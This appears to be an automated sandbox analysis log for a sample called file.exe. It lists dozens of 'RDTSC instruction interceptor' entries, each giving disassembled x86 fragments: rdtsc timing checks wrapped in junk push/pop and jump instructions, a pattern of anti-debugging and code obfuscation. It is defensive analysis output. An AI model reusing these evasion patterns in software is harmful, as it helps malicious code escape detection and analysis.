Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588CE6 second address: 588CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EC09 second address: 55EC7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F32E8D838D8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 lea eax, dword ptr [ebp+1249399Fh] 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F32E8D838D8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 sub dword ptr [ebp+1245A9DEh], esi 0x0000004c nop 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 jns 00007F32E8D838D6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EC7B second address: 55ECAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F32E9641F26h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F30A second address: 55F32E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F32E8D838DDh 0x00000011 jmp 00007F32E8D838DAh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F4B9 second address: 55F4BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F4BF second address: 55F4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F4C3 second address: 55F4E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jne 00007F32E9641F16h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F59A second address: 55F59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F59E second address: 55F5AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FF58 second address: 55FF62 instructions: 0x00000000 rdtsc 0x00000002 js 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FF62 second address: 55FFDF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F32E9641F25h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ecx, dword ptr [ebp+122D3A51h] 0x00000011 lea eax, dword ptr [ebp+124939E3h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F32E9641F18h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 call 00007F32E9641F25h 0x00000036 jp 00007F32E9641F1Ch 0x0000003c mov edi, dword ptr [ebp+122D3CE5h] 0x00000042 pop edi 0x00000043 nop 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F32E9641F22h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FFDF second address: 53D54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F32E8D838DDh 0x0000000d nop 0x0000000e lea eax, dword ptr [ebp+1249399Fh] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F32E8D838D8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e xor ecx, 1AC003E2h 0x00000034 xor dword ptr [ebp+122D21C1h], ecx 0x0000003a push eax 0x0000003b jmp 00007F32E8D838E4h 0x00000040 mov dword ptr [esp], eax 0x00000043 and dl, 00000049h 0x00000046 call dword ptr [ebp+1245F60Fh] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 jl 00007F32E8D838D6h 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D54E second address: 53D553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D553 second address: 53D558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D558 second address: 53D563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D563 second address: 53D567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51459F second address: 5145A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588FE0 second address: 588FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E8D838DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588FF5 second address: 589038 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F28h 0x00000007 jno 00007F32E9641F18h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F32E9641F25h 0x00000017 jc 00007F32E9641F16h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589196 second address: 5891AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F32E8D838E1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5891AD second address: 5891BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5891BB second address: 5891BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5891BF second address: 5891C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5891C7 second address: 5891CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5891CD second address: 5891D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5891D1 second address: 5891D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589460 second address: 589465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589465 second address: 589474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jng 00007F32E8D838D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895B7 second address: 5895C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895C4 second address: 5895CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895CA second address: 5895D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5895D0 second address: 5895D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589782 second address: 589788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589788 second address: 58978E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58978E second address: 589794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5898F4 second address: 58990F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589A4D second address: 589A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007F32E9641F16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589A5E second address: 589A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59077B second address: 59078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59078C second address: 5907D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F32E8D838E9h 0x0000000e jmp 00007F32E8D838E0h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5907D6 second address: 5907DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F325 second address: 58F354 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F32E8D838D6h 0x00000009 pop ebx 0x0000000a jmp 00007F32E8D838DDh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jno 00007F32E8D838D6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 ja 00007F32E8D838D6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F354 second address: 58F360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F32E9641F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F360 second address: 58F396 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32E8D838E8h 0x00000008 js 00007F32E8D838D6h 0x0000000e jmp 00007F32E8D838DCh 0x00000013 pushad 0x00000014 jmp 00007F32E8D838E9h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F4CC second address: 58F4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F32E9641F16h 0x0000000a popad 0x0000000b jg 00007F32E9641F18h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F32E9641F24h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F65F second address: 58F667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F667 second address: 58F68D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F32E9641F18h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FEF0 second address: 58FF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jc 00007F32E8D838D6h 0x0000000b pop edx 0x0000000c js 00007F32E8D838EBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59008C second address: 590090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590090 second address: 59009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F32E8D838D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5903B2 second address: 5903B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5903B6 second address: 5903FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E8D838E9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F32E8D838E3h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jl 00007F32E8D838D6h 0x0000001a jng 00007F32E8D838D6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5903FD second address: 59041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 push ebx 0x00000008 js 00007F32E9641F16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596173 second address: 59619B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838DCh 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F32E8D838DBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594C24 second address: 594C29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59533C second address: 595342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595FDA second address: 59600C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F26h 0x00000007 jne 00007F32E9641F16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b jnp 00007F32E9641F16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5992CB second address: 5992D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5992D4 second address: 5992E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F32E9641F1Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F05 second address: 506F3F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32E8D838FAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F32E8D838D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F3F second address: 506F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F43 second address: 506F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F32E8D838DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F51 second address: 506F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506F57 second address: 506F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59EF47 second address: 59EF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59EF4D second address: 59EF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59EF51 second address: 59EF73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E9641F1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F32E9641F16h 0x00000014 jg 00007F32E9641F16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F220 second address: 59F238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F32E8D838DCh 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1B3A second address: 5A1B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1B40 second address: 5A1B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F32E8D838D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1B4C second address: 5A1B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1B57 second address: 5A1B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1B5B second address: 5A1B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E9641F21h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jc 00007F32E9641F16h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1B80 second address: 5A1B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A185D second address: 5A186F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32E9641F16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A186F second address: 5A188A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F32E8D838D6h 0x0000000a jg 00007F32E8D838D6h 0x00000010 popad 0x00000011 jnc 00007F32E8D838DAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A72B3 second address: 5A72B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A64FB second address: 5A64FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A64FF second address: 5A6505 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6505 second address: 5A6523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F32E8D838E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6663 second address: 5A6667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6667 second address: 5A6696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838E4h 0x0000000d jmp 00007F32E8D838E3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6696 second address: 5A66D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F32E9641F27h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6A29 second address: 5A6A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6CDB second address: 5A6CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jno 00007F32E9641F18h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6CEC second address: 5A6CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6CF0 second address: 5A6CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6E14 second address: 5A6E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F32E8D838D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6E20 second address: 5A6E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6E24 second address: 5A6E77 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F32E8D838E8h 0x00000012 jmp 00007F32E8D838E4h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F32E8D838E6h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
